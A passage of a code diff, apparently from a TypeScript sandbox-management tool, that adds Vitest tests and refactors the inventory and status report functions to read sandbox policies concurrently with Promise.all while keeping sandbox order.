concurrently while preserving sandbox order", async () => { + const { getPolicyPresets, releases } = deferredPolicyReads(); + const pending = getSandboxInventory({ + recoverRegistryEntries: async () => ({ + sandboxes: [{ name: "alpha" }, { name: "beta" }], + defaultSandbox: "alpha", + }), + getLiveInference: () => null, + getPolicyPresets, + loadLastSession: () => null, + }); + + await vi.waitFor(() => expect(getPolicyPresets).toHaveBeenCalledTimes(2)); + releases.get("beta")?.(["beta-policy"]); + releases.get("alpha")?.(["alpha-policy"]); + + await expect(pending).resolves.toMatchObject({ + sandboxes: [ + { name: "alpha", policies: ["alpha-policy"] }, + { name: "beta", policies: ["beta-policy"] }, + ], + }); + }); + + it("reads independent status policies concurrently while preserving sandbox order", async () => { + const { getPolicyPresets, releases } = deferredPolicyReads(); + const pending = getStatusReport({ + listSandboxes: () => ({ + sandboxes: [{ name: "alpha" }, { name: "beta" }], + defaultSandbox: "alpha", + }), + getLiveInference: () => null, + getPolicyPresets, + showServiceStatus: vi.fn(), + }); + + await vi.waitFor(() => expect(getPolicyPresets).toHaveBeenCalledTimes(2)); + releases.get("beta")?.(["beta-policy"]); + releases.get("alpha")?.(["alpha-policy"]); + + await expect(pending).resolves.toMatchObject({ + sandboxes: [ + { name: "alpha", policies: ["alpha-policy"] }, + { name: "beta", policies: ["beta-policy"] }, + ], + }); + }); +}); diff --git a/src/lib/inventory/index.ts b/src/lib/inventory/index.ts index 0120f9818fe..1828177d56f 100644 --- a/src/lib/inventory/index.ts +++ b/src/lib/inventory/index.ts @@ -344,17 +344,18 @@ export async function getSandboxInventory( : null; const incompleteOnboarding = projectIncompleteOnboarding(recovery.sandboxes, lastSession); - const rows = []; - for (const sandbox of recovery.sandboxes.filter(isPublishedSandboxRegistration)) { - rows.push( - await buildSandboxInventoryRow( - sandbox, - resolvedDefault, - deps.getActiveSessionCount, - deps.getPolicyPresets, + const rows = await Promise.all( + recovery.sandboxes + .filter(isPublishedSandboxRegistration) + .map((sandbox) => + buildSandboxInventoryRow( + sandbox, + resolvedDefault, + deps.getActiveSessionCount, + deps.getPolicyPresets, + ), ), - ); - } + ); return { schemaVersion: 1, defaultSandbox: resolvedDefault, @@ -597,18 +598,17 @@ export async function getStatusReport(deps: ShowStatusCommandDeps): Promise + buildStatusSandboxRow( sandbox, resolvedDefault, liveInference, portablePhases.get(sandbox.name) ?? null, deps.getPolicyPresets, ), - ); - } + ), + ); return { schemaVersion: 1, defaultSandbox: safeStatusString(resolvedDefault),